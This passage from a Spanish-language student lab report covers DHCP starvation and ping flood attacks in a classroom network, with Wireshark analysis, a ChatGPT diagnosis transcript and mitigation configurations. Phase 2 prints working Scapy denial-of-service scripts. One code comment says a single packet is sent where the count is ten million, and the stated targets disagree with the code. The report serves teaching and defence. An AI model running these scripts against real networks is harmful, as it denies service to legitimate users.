su *pool*. 3. El atacante confirma y acepta de la IP ofrecida con un DHCP Request. Cómo usa una MAC diferente cada vez, el servidor piensa que es un dispositivo nuevo. 4. El servidor registra esa IP como si fuera asignada a un cliente real. Se repiten los pasos anteriores cientos o miles de veces con MAC falsas cada vez. 5. Como resultado si un cliente real quiere acceder a la red, se le niega porque ya no quedan direcciones IP disponibles y así niega el servicio completamente. ## Primer Acercamiento Se realizó en un laboratorio la topología mostrada. Se siguieron las siguientes líneas de código en la terminal de la consola ligada al router para la configuración: ``` bash enable configure terminal interface GigabitEthernet 0/0 ip address 10.0.0.1 255.255.255.0 no shutdown exit ip dhcp excluded-address 10.0.0.1 10.0.0.10 ip dhcp pool JUAN network 10.0.0.0 255.255.255.0 default-router 10.0.0.1 ``` Después de que se asignaron las IPs a las computadoras y se creó el grupo DHCP, se realizaron pings infinitos para documentarlos en la herramienta WireShark. **(Ejemplo de comando en terminal Adjunto)** ``` bash ping 10.0.0.4 -t ``` Lo que se observó en la plataforma al realizar los pings es que un ordenador no puede abrir paquetes con destinatarios ajenos. Se sospechó que esto podría deberse a los permisos configurados en el Switch del Laboratorio. ### Características del Ambiente Construido Con fines de replicabilidad, se nombran a continuación las características de la práctica de laboratorio. **Sistema Operativo** Windows. **Herramientas necesarias** - Wireshark - hping3 o nping (Nmap) para ICMP Flood. - Ettercap, arpspoof (dsniff) o Bettercap para ARP Spoofing. - Yersinia o dhcpstarv para DHCP Starvation. **Permisos requeridos** - Acceso de administrador de sistema. - Permisos para habilitar el modo promiscuo. - Permisos para ejecución de herramientas de red. - Acceso a la red de prueba sin firewall activado. ------------------------------------------------------------------------ # Fase 2: Simulación del ataque y captura del tráfico ## Introducción El propósito de esta segunda práctica es lograr una implementación de ataques virtuales mediante un entorno controlado: un laboratorio de redes. Los dos causantes de DoS seleccionados a implementar fueron el **DHCP Starvation**, el cual envía numerosas solicitudes DHCP falsas con direcciones MAC distintas para agotar el rango de direcciones IP disponibles - impidiendo que dispositivos legítimos obtengan configuración de red- y **Ping Flood** , este envía un gran volumen de paquetes ICMP Echo Request para saturar el ancho de banda o recursos del sistema objetivo. Como se mencionó anteriormente, esto se realizó en un ambiente controlado y fue evidenciado mediante la herramienta WireShark manteniendo un registro del tráfico de paquetes. ## Creación del Entorno de Trabajo Primeramente, se creó la topología de trabajo nuevamente, donde se incluyó la consola al router con función de la víctima, y una segunda computadora que funcionó como atacante y analista. Se configuró un grupo dhcp con el rango de IPs de 192.168.10.0 255.255.255.0 del cual se excluyeron las primeras 10. Luego, desde la computadora del atacante se abrió WireShark y se realizaron pruebas de pings infinitos para asegurar comunicación entre las computadoras. ## PING FLOOD Para poder llevar a cabo este ataque, se creó un archivo python. Se hizo uso de la librería ***Scapy***, la cual simplificó el flujo del código. En la función especificada para construir el ataque, se incluye la dirección IP víctima, el número de paquetes a enviar y el tamaño de cada paquete. Para implementar el código, se direccionó hacia la ip 192.168.10.21 (el router) con un total de 1,000 paquetes y un peso de 65,000 bytes (el máximo dentro de paquetes ICMP). ``` python from scapy.layers.inet import IP, ICMP from scapy.packet import Raw from scapy.sendrecv import send def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 400): ip = IP(dst=target_ip_address) icmp = ICMP() raw = Raw(b"X" * size_of_packet) p = ip / icmp / raw send(p, count=number_of_packets_to_send, verbose=0) print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address) ip = "192.168.10.11" send_ping(ip, number_of_packets_to_send=10000) ``` Código utilizado para Ping Flood[^1] [^1]: Código utilizado para Ping Flood El script fue ejecutado desde la terminal del atacante. Con fines de ratificación, se intentó hacer ping desde la computadora del cliente al router, donde en ocasiones, el tiempo de respuesta disminuía. En Wireshark esto se contempla como un conjunto masivo de observaciones donde se reporta el protocolo ICMP hacia 192.168.10.21 y sus Echos correspondientes. ![Evidence of Attack](../figures/ping_flood0.png) ![Evidence of Attack](../figures/ping_flood1.png) ## DHCP Starvation En la segunda situación, se utilizó igualmente *scapy*. En el código se definieron funciones para crear las direcciones MAC falsas, para buscar una interfaz cuya IP empiece con el prefijo indicado y entregar el nombre de la interfaz junto buscar dicha interfaz. Finalmente, en la implementación se hace uso de esta información para hacer una solicitud de asignación de una IP junto con la cantidad de IPs a solicitar especificada por el usuario. Esta se ejecutó desde la terminal del atacante siendo “Ethernet” la interfaz identificada. ``` python # dhcpStarvation_helper.py from scapy.all import ( Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp, get_if_list, get_if_addr ) import sys # Construye el DHCP Discover (ajusta si ya tienes otra versión) dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff', src=RandMAC()) / \ IP(src='0.0.0.0', dst='192.168.10.255') / \ UDP(sport=68, dport=67) / \ BOOTP(op=1, chaddr=RandMAC()) / \ DHCP(options=[('message-type','discover'), ('end')]) def find_iface_by_subnet(prefix="192.168.10."): """ Busca una interfaz cuya IP empiece con prefix. Devuelve el nombre de la interfaz o None. """ for iface in get_if_list(): try: ip = get_if_addr(iface) if ip and ip.startswith(prefix): return iface except Exception: # algunas interfaces no tienen IP o generan excepción pass return None def choose_interface(preferred_prefix="192.168.10."): # 1) si el usuario pasa el nombre por argumento de línea de comandos, usarlo if len(sys.argv) > 1: return sys.argv[1] # 2) buscar por prefijo de subred (útil en el aula) iface = find_iface_by_subnet(preferred_prefix) if iface: return iface # 3) heurística: elegir primera interfaz "Ethernet" o "Wi-Fi" si aparece ifaces = get_if_list() for name in ifaces: if "Ethernet" in name or "eth" in name.lower(): return name for name in ifaces: if "Wi-Fi" in name or "wlan" in name.lower() or "wifi" in name.lower(): return name # 4) fallback: la primera que no sea loopback for name in ifaces: if "loop" not in name.lower(): return name # 5) si no hay nada, devolver None return None def main(): print("Interfaces detectadas por Scapy:", get_if_list()) iface = choose_interface() if iface is None: print("ERROR: No se pudo detectar una interfaz válida.") print("Prueba a ejecutar: python dhcpStarvation_helper.py \"Ethernet\"") return print("Interfaz elegida:", iface) print("Haciendo envío de prueba (count=1). Si esto falla, revisa Npcap y permisos.") try: # prueba segura: solo un paquete sendp(dhcp_discover, iface=iface, count=10000000, verbose=1) print("Envío realizado. Si ves tráfico en Wireshark/PCAP, ya funciona.") except Exception as e: print("Error al enviar paquetes con Scapy:") print(str(e)) print("\nPosibles causas:") print("- No estás ejecutando como administrador.") print("- No tienes Npcap instalado (o no en modo 'WinPcap API-compatible').") print("- El adaptador físico está desconectado o en otra VLAN.") print("- El nombre de interfaz detectado no es correcto para tu sistema.") print("\nSolución rápida: ejecuta el script desde PowerShell/CMD como administrador o") print("pasa el nombre de la interfaz manualmente: python dhcpStarvation_helper.py \"Ethernet\"") if __name__ == "__main__": main() ``` Código utilizado para DHCP Starvation[^2] [^2]: Código utilizado para DHCP Starvation ``` python #!/usr/bin/env python3 #DHCP Starvation: #Import Scapy from scapy.all import * #conf.checkIPaddr needs to be set to False. #When conf.checkIpaddr the reponse IP isn't checked #against sending IP address. Don't need to match. conf.checkIPaddr = False #Create DHCP discover with destination IP = broadadcast #Source MAC address is a random MAC address #Source IP address = 0.0.0.0 #Destination IP address = broadcast #Source port = 68 (DHCP / BOOTP Client) #Destination port = 67 (DHCP / BOOTP Server) #DHCP message type is discover dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff',src=RandMAC()) \ /IP(src='0.0.0.0',dst='255.255.255.255') \ /UDP(sport=68,dport=67) \ /BOOTP(op=1,chaddr = RandMAC()) \ /DHCP(options=[('message-type','discover'),('end')]) #Send packet out of eth0 and loop the packet sendp(dhcp_discover,iface='eth0',loop=1,verbose=1) #Credits: #https://scapy.readthedocs.io/_/downloads/en/latest/pdf/ #https://www.programcreek.com/ ``` Segunda opción de Código utilizado para DHCP Starvation[^3] [^3]: Segunda opción de código utilizado para DHCP Starvation En WireShark, esto es representado en múltiples solicitudes DHCP. Para verificar que fue exitoso el ataque, en la consola se buscaron los estadísticos del servidor DHCP, donde se verificó que 245 fueron asignados (recordemos que las primeras 10 direcciones fueron omitidas). ![Evidence of Attack](../figures/dhcp_starv0.png) ![Evidence of Attack](../figures/dhcp_starv1.png) ## Conclusiones La práctica confirmó que, en un entorno controlado, tanto el DHCP Starvation como el Ping Flood son capaces de degradar y/o interrumpir el servicio de red: el primero acaparó las direcciones disponibles del servidor DHCP (245 leases asignados en la prueba) y el segundo creó congestión perceptible en la conectividad ICMP hacia el router. Las evidencias captadas con Wireshark reafirman la efectividad de los ataques implementados en Python usando Scapy y la importancia de la monitorización para detectar este tipo de anomalías. Como lecciones prácticas, estos ataques muestran la necesidad de controles de seguridad a nivel de capa 2/3 en redes LAN: habilitar DHCP Snooping, port security (limitación de MACs por puerto), rate limiting de ICMP, reglas de ACL y sistemas de detección de intrusos para mitigar y alertar sobre patrones anómalos. ------------------------------------------------------------------------ # Fase 3: Análisis de datos con Python Ahora, el objetivo es poder identificar los ataques realizados desde el puesto de un analista de tráfico, el cual desconoce su realización. Para esto, se convirtió el archivo *pcapng* de la ventana de tiempo de la simulación a un csv y se abrió con Python para poder analizar y hacer visualizaciones del comportamiento de paquetes junto con sus anomalías detectadas. ## Resultados ![Time Series of Package traffic (All packets)](../figures/lineChartAllPackets.png) ![Time Series of ICMP and DHCP Package traffic](../figures/lineChart.png) ![Top IPs by Destination](../figures/top_by_destination.png) ![Top IPs by Protocol](../figures/top_by_protocol.png) ![Top IPs by Source](../figures/top_by_source.png) ------------------------------------------------------------------------ # Fase 4: Diagnóstico con ChatGPT y mitigación ## Objetivo El objetivo de esta actividad es consultar a Chat-GPT con los datos recolectados de la actividad “Simulación del ataque y captura de tráfico” en un archivo .pcapng, elaborar un diagnóstico final y proponer soluciones y mitigaciones técnicas frente a las anomalías identificadas. ## Transcripción de la conversación con Chat-GPT Prompt: Hola, chat. Eres un analista de tráfico de datos (ciberseguridad) y te llegó este archivo .pcapng. Tu objetivo es analizar y mencionar las anomalías que puedas encontrar. Pesa más de 700 megas el archivo, así que estará en ZIP. Chat-GPT: Perfecto, ya lo estuve “destripando” 😊. Te resumo lo que encontré como si fuera un informe de analista de tráfico: 1. Panorama general del tráfico En el .pcapng hay: \~824,397 paquetes en total \~822k IPv4, \~1.2k IPv6, y \~1k no-IP Proporción por protocolo de capa 3: ICMP: \~62.5% (515k paquetes) → muchísimo UDP: \~37.2% (306k paquetes) TCP: casi inexistente: 270 paquetes (\~0.03%) Top hosts internos: 192.168.10.13 – host más activo (principal origen) 192.168.10.1 – muy probablemente el gateway/router 192.168.10.12 – segundo host interno importante 192.168.10.11 – aparece casi sólo en TFTP También aparecen direcciones raras como 192.168.10.0 y destino 255.255.255.0 usadas como si fueran hosts. Destinos externos relevantes: 8.8.8.8 (Google DNS) 1.1.1.1 (Cloudflare DNS) 23.64.121.49 (IP de un servidor HTTP, muy probablemente Akamai / CDN) 2. Anomalía #1 – Tráfico ICMP brutal entre pocos hosts Hay más de 515,000 paquetes ICMP distribuidos en solo 4 flujos: 192.168.10.13 ↔ 192.168.10.1 192.168.10.13 ↔ 192.168.10.12 Tipos ICMP observados: Type 8, code 0 – Echo Request (pings) Type 0, code 0 – Echo Reply Type 3, code 1 – Destination Unreachable (host unreachable) Type 3, code 2 – Destination Unreachable (protocol unreachable) Lo raro: Para un entorno normal, no es nada común tener \>500k ICMP en una captura así. Hay flujos ICMP muy simétricos, con \>120k paquetes por flujo (parece ping flood o prueba de estrés). Presencia continua de Destination Unreachable indica que se está intentando llegar a algo que no responde o a un servicio cerrado. 👉 Interpretación: Esto huele a ataque o prueba de ICMP flood / host discovery masivo entre 192.168.10.13, 192.168.10.1 y 192.168.10.12. No parece tráfico “normal de usuario” (tipo un par de pings). 3. Anomalía #2 – Tormenta de DHCP (UDP 67) con direcciones “raras” Puertos destino más usados (UDP/TCP): 67/UDP (DHCP server): \~304,315 paquetes 53/UDP (DNS): 1,280 16990/UDP: 875 80/TCP: 150 69/UDP (TFTP): 22 137/UDP, 138/UDP, 5355/UDP: unos cuantos (NetBIOS/LLMNR) Al revisar UDP hacia/desde puerto 67: Tráfico repetido del tipo: 192.168.10.0:68 → 192.168.10.255:67 Lo raro: Un cliente DHCP típico usa: 0.0.0.0:68 → 255.255.255.255:67 Aquí se usa 192.168.10.0 como origen (que normalmente es la dirección de red, no un host) y 192.168.10.255 como broadcast. El volumen es enorme: más de 300k paquetes DHCP. 👉 Interpretación: Esto es altamente sospechoso de DHCP starvation / DHCP flood o de una herramienta que genera tráfico DHCP malformado o spoofeado. El uso de 192.168.10.0 como host refuerza la idea de spoofing o de un escenario de laboratorio para ataques. 4. Anomalía #3 – Tráfico UDP en puerto 16990 (posible canal “raro”) Se ve un flujo significativo en UDP/16990: Flujos más importantes (contados específicamente): 192.168.10.13:16990 → 192.168.10.12:16990 : 436 paquetes 192.168.10.12:16990 → 192.168.10.13:16990 : 436 paquetes 192.168.10.12:16990 → 239.255.255.250:16990 : 3 paquetes Lo raro: El puerto 16990 no es estándar (no HTTP, no DNS, no algo típico). El tráfico es bidireccional y bastante intenso entre 10.13 y 10.12. Además, hay paquetes hacia el multicast 239.255.255.250 pero con puerto 16990 (SSDP suele usar 1900/UDP, no 16990). 👉 Interpretación: Parece un servicio propietario o un canal “oculto” entre dos hosts, potencialmente: Algún tipo de backdoor, C2 interno, o Una aplicación de laboratorio simulando un túnel UDP / transferencia de archivos. En un entorno real, 16990 sería algo para investigar urgente: qué proceso lo usa en ambos hosts, qué binarios están asociados, etc. 5. Anomalía #4 – Tráfico TFTP broadcast (UDP 69) desde un host aislado En puerto 69/UDP: 22 paquetes en total. Flujos observados: 192.168.10.11:56150 → 255.255.255.255:69 (6 pkts) 192.168.10.11:50853 → 255.255.255.255:69 (6 pkts) 192.168.10.11:65313 → 255.255.255.255:69 (6 pkts) 192.168.10.11:60419 → 255.255.255.255:69 (4 pkts) Lo raro: TFTP (69/UDP) es un protocolo sin autenticación y muy sencillo, usado a veces para boot PXE/firmware. Que un host (192.168.10.11) haga múltiples intentos de TFTP a broadcast con diferentes puertos de origen puede indicar: Intentos de descubrimiento de servidores TFTP. O un intento de subir/bajar archivos sin control, típico vector de ataque en redes mal segmentadas. 👉 Interpretación: No es tan masivo como ICMP/DHCP, pero sí es un punto rojo: TFTP+Broadcast merece revisión en logs y en ese host (10.11). 6. Anomalía #5 – TCP “fantasma”: sólo SYNs, sin handshakes completos En todo el archivo sólo hay 270 paquetes TCP, y TODOS son: Flags = SYN (0x02), sin ACK, sin FIN, sin RST significativos. Muestras: 192.168.10.13:53586 → 23.64.121.49:80 SYN 192.168.10.13:53587 → 23.64.121.49:80 SYN 192.168.10.13:56802 → 8.8.8.8:53 SYN 192.168.10.13:64240 → 1.1.1.1:53 SYN Y patrones similares, repetidos, siempre con bandera SYN. Lo raro: No se observan SYN-ACK de vuelta, ni ACK que completen la conexión. Es decir, hay intentos de conexión, pero ninguna sesión TCP se establece de forma completa dentro de la captura. 👉 Interpretación: Esto es muy compatible con un SYN flood o una prueba de escaneo semi-abierto (SYN scan): Se mandan muchos SYN a puertos de interés (80, 53, etc.) pero no se sigue el 3-way handshake. El hecho de que los destinos sean 23.64.121.49:80 y DNS públicos (8.8.8.8 / 1.1.1.1) en TCP refuerza el patrón de prueba/ataque, más que de tráfico de usuario. 7. Anomalía #6 – Uso de direcciones “imposibles” como si fueran hosts En las estadísticas de IPs se observan: Como origen: 192.168.10.0 Como destino: 255.255.255.0 Ambas son direcciones que normalmente se asocian a: 192.168.10.0 → dirección de red de un segmento /24 255.255.255.0 → máscara de subred, no un host Verlas usadas en cabeceras IP como si fueran hosts es: O misconfiguración grave, o Spoofing intencional (muy probable si es captura de laboratorio de ataques), por ejemplo en la tormenta de DHCP. 👉 Interpretación: Es otro indicador de que el tráfico no es “limpio” ni normal, sino que hay generación deliberada de paquetes con direcciones falsificadas. 8. Cosas “ruidosas” pero menos críticas También aparecen, en menor volumen: Tráfico DNS legítimo/esperable: 192.168.10.13 → 8.8.8.8:53 (UDP y algo de SYN a TCP 53) 192.168.10.13 → 1.1.1.1:53 Tráfico multicast de servicios: 224.0.0.252, 239.255.255.250 (LLMNR, SSDP/UPnP) 224.0.0.22 (IGMP) Unas 1,254 tramas IPv6 (probablemente RA/ND o similar) sin un patrón de ataque tan claro como lo anterior. De momento no se ven tan críticos comparados con: El flood ICMP La tormenta DHCP anómala El UDP raro en 16990 El TFTP broadcast El TCP sólo-SYN 9. Resumen ejecutivo (por si lo quieres como conclusión de informe) En este .pcapng se observan múltiples comportamientos anómalos altamente sugerentes de un escenario de laboratorio con ataques: ICMP flood / scanning masivo entre 192.168.10.13, 192.168.10.1 y 192.168.10.12 (más de 500k paquetes ICMP). Tormenta DHCP con direcciones de origen/destino no estándar (192.168.10.0 → 192.168.10.255, \>300k paquetes), compatible con DHCP starvation o flood. Canal UDP no estándar en el puerto 16990 entre 192.168.10.13 y 192.168.10.12, además de algunos paquetes a multicast, lo que sugiere un servicio propietario o potencial canal de C2 / backdoor. Tráfico TFTP broadcast (UDP 69) desde 192.168.10.11 hacia 255.255.255.255 usando múltiples puertos de origen, lo cual es sospechoso por la falta de autenticación de TFTP. Tráfico TCP limitado exclusivamente a SYNs, sin handshakes completos, dirigido a 23.64.121.49:80 y a DNS públicos por TCP (8.8.8.8, 1.1.1.1), consistente con SYN flood o SYN scan. Uso de direcciones IP reservadas (dirección de red y máscara) como si fueran hosts, lo que apunta a spoofing o malas configuraciones deliberadas. Diagnóstico final Con base en nuestra revisión del tráfico capturado y en la interpretación de Chat-GPT, se identificaron los siguientes elementos: 1.- ICMP Flood/Ping Flood: Chat-GPT fue capaz de reconocer más de 515,000 paquetes ICMP entre pocos hosts. Su interpretación hace hincapié en la existencia de un tráfico anormalmente elevado, y cito, “orientado a saturar la red o realizar reconocimiento agresivo”. ``` 2.- DHCP Starvation: En este caso, Chat-GPT encontró más de 300,000 solicitudes DHCP con direcciones inválidas (192.168.10.0, por ejemplo). La interpretación se centra en el intento de consumir todas las direcciones del servidor DHCP para impedir que clientes legítimos reciban red. También, Chat-GPT hizo varios descubrimientos que nosotros no notamos (o no buscamos) cuando hicimos nuestro análisis. Adjuntamos la transcripción de Chat-GPT sobre sus descubrimientos adicionales. ``` 3. SYN Scan / SYN Flood: Evidencia: 270 paquetes TCP con flag SYN, sin SYN-ACK ni ACK. Interpretación: escaneo semiabierto o ataque de negación de servicio. 4. Spoofing de direcciones IP: Evidencia: direcciones imposibles usando cabeceras IP válidas. Interpretación: ocultamiento deliberado del origen del tráfico. 5. TFTP Broadcast Anómalo: Evidencia: host 192.168.10.11 enviando requests TFTP a broadcast. Interpretación: búsqueda de servidores TFTP o inicios de transferencia no autorizada. 6. Canal UDP sospechoso (16990): Evidencia: flujo intenso entre 192.168.10.12 y 192.168.10.13. Interpretación: posible túnel, canal C2, o aplicación no autorizada. Síntomas observados: Saturación de tráfico ICMP Pérdida de disponibilidad en DHCP Intentos de conexión TCP incompletos Tráfico interno no autorizado Tramas con direcciones falsificadas TFTP sin control y hacia broadcast Congestión generalizada por tráfico repetitivo Impacto potencial Disponibilidad: Caída del servidor DHCP → usuarios sin conectividad Saturación de red por ICMP → latencia elevada Agotamiento de recursos del gateway Seguridad: Apertura de canal encubierto C2 Exfiltración de datos vía TFTP Ocultamiento del origen real del tráfico (spoofing) Exploración de puertos (SYN scan) Operaciones: Interrupción del trabajo de usuarios Inestabilidad en servicios críticos Potencial escalación a explotación de vulnerabilidades ## Propuesta de mitigación ### Propuesta del equipo Después de analizar el tráfico capturado, notamos que la mayor parte del problema viene de una cantidad excesiva de paquetes ICMP, especialmente de pings (Echo Request). Esto puede saturar la red, causar lentitud y afectar a otros dispositivos. Por eso proponemos las siguientes acciones para mitigar este tipo de ataque: 1. Limitar la cantidad de pings permitidos por segundo Configurar en el router o firewall un límite de cuántas solicitudes ICMP puede recibir el equipo por segundo. Con esto, aunque un atacante mande miles de pings, el router simplemente los va a ignorar. 2. Bloquear pings provenientes de direcciones sospechosas En la captura vimos direcciones que no deberían existir (como 192.168.10.0). Se pueden bloquear manualmente para evitar que envíen más paquetes ICMP. 3. Reducir el uso de ICMP dentro de la red Si no es estrictamente necesario, se puede restringir el ping entre todos los equipos para reducir la superficie de ataque. Por ejemplo: permitir pings solo al gateway para diagnóstico y bloquear el resto. 4. Monitorear el equipo que más paquetes ICMP envió El host 192.168.10.13 fue el más activo. Se recomienda revisarlo, porque puede estar infectado o mal configurado. 5. Crear alertas si el volumen de ICMP sube más de lo normal Configurar herramientas de monitoreo básico (como PRTG, Zabbix o incluso el dashboard del router) para que avise si de nuevo se detecta una cantidad alta de ICMP. En resumen: Limitar ICMP, bloquear direcciones raras, monitorear el equipo más activo y activar alertas para evitar que un ping flood vuelva a saturar la red. ### Chat-GPT: 1. Mitigación contra ICMP Flood (Ping Flood) 1.1. Implementar rate limiting en dispositivos perimetrales Configurar límites para las solicitudes ICMP de tipo echo-request. Esto reduce la saturación del plano de control. Ejemplo de regla para limitar a 10 paquetes por segundo: iptables -A INPUT -p icmp –icmp-type echo-request -m limit –limit 10/second -j ACCEPT iptables -A INPUT -p icmp –icmp-type echo-request -j DROP 1.2. Filtrado de direcciones malformadas Bloquear paquetes ICMP provenientes de direcciones que no deberían usarse como origen, como 192.168.10.0 o 255.255.255.0. 1.3. Control Plane Policing (CoPP) Configurar políticas en el router para limitar la cantidad de ICMP que llega al CPU. 2. Mitigación contra DHCP Starvation / DHCP Flood 2.1. Habilitar DHCP Snooping Evita que puertos no autorizados generen solicitudes DHCP masivas. Configuración recomendada: ip dhcp snooping ip dhcp snooping vlan 10 interface GigabitEthernet0/1 ip dhcp snooping limit rate 10 2.2. Implementar Port Security Limitar la cantidad de direcciones MAC permitidas por puerto para impedir creación de cientos de clientes falsos. switchport port-security switchport port-security maximum 2 switchport port-security violation restrict 3. Mitigación contra SYN Scan y SYN Flood 3.1. Activar SYN Cookies Esta función impide que los recursos del servidor se agoten durante ataques de inundación. sysctl -w net.ipv4.tcp_syncookies=1 3.2. Configurar rate limiting para paquetes SYN Limita la cantidad de solicitudes de conexión TCP sin completar handshake. iptables -A INPUT -p tcp –syn -m limit –limit 5/sec -j ACCEPT iptables -A INPUT -p tcp –syn -j DROP 4. Mitigación contra Spoofing de IP 4.1. Activar Reverse Path Filtering Permite detectar y descartar paquetes con direcciones de origen falsificadas. sysctl -w net.ipv4.conf.all.rp_filter=1 4.2. Aplicar Unicast Reverse Path Forwarding (uRPF) Se recomienda habilitar uRPF en modo estricto para evitar spoofing en redes internas. ip verify unicast source reachable-via rx 5. Mitigación contra TFTP broadcast no autorizado 5.1. Bloquear el puerto UDP/69 salvo excepciones explícitas Restringirlo en toda la red interna para evitar transferencia abierta de archivos. iptables -A INPUT -p udp –dport 69 -j DROP 5.2. Uso de ACLs Aplicar listas de control para bloquear solicitudes hacia broadcast donde no son necesarias. deny udp any any eq 69 6. Mitigación contra canales UDP no estándar (puerto 16990) 6.1. Bloquear el tráfico hacia el puerto 16990 Cerrar el puerto 16990 en el firewall perimetral y local si no existe una justificación documentada. iptables -A INPUT -p udp –dport 16990 -j DROP 6.2. Auditoría de procesos Revisar los hosts 192.168.10.12 y 192.168.10.13 para identificar procesos que estén usando ese puerto. netstat -tunlp \| grep 16990 ps aux \| grep udp 7. Mitigación continua (Monitoreo y endurecimiento) 7.1. Configurar un IDS/IPS Se recomienda utilizar Snort o Suricata con reglas específicas para detectar: Flood ICMP Solicitudes DHCP anómalas Escaneos SYN Spoofing Uso de puertos no estándar 7.2. Establecimiento de alertas Configurar alertas en herramientas de monitoreo como Zabbix, PRTG o Grafana. Los umbrales sugeridos incluyen: Aumento anormal en tráfico ICMP Incremento en solicitudes DHCP Elevación en paquetes TCP SYN Actividad inesperada en puertos UDP 7.3. Endurecimiento de sistemas Actualización continua de sistemas y firmware Deshabilitar servicios no utilizados (como TFTP) Monitoreo de integridad con herramientas como Wazuh o Tripwire